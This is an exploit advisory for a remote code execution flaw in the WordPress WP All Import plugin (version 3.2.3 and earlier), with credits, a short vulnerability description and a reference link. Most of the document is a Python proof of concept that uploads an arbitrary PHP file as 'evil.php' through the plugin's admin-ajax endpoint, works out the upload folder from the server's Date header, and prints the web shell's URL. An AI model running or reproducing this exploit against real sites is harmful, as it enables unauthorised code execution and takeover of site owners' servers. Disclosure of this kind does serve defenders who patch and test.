------------------------------------------------------------------------------
WordPress WP All Import Plugin RCE
------------------------------------------------------------------------------

[-] Vulnerability Author:

James Golovich ( @Pritect )

[-] Exploit Author

Evex ( @Evex_1337 )

[-] Plugin Link:

https://wordpress.org/plugins/wp-all-import/

[-] Affected Version:

Version <= 3.2.3


[-] Vulnerability Description:


    Retrieve any file on the system that ends in .txt
    Retrieve any file on the system that ends in .html
    Retrieve any value from the postmeta table
    Upload arbitrary files to system


Reference:
http://www.pritect.net/blog/wp-all-import-3-2-3-pro-4-0-3-vulnerability-breakdown


[-] Proof of Concept:

#needs to run: php - python with requests lib installed
https://pypi.python.org/pypi/requests
import requests,os
site="localhost/x/wordpress"
file_to_upload = 'evex.php'
up_req = requests.post('http://
'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read(),timeout=20)
up_dir = os.popen('php -r "print
md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
print "http://
"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/evil.php"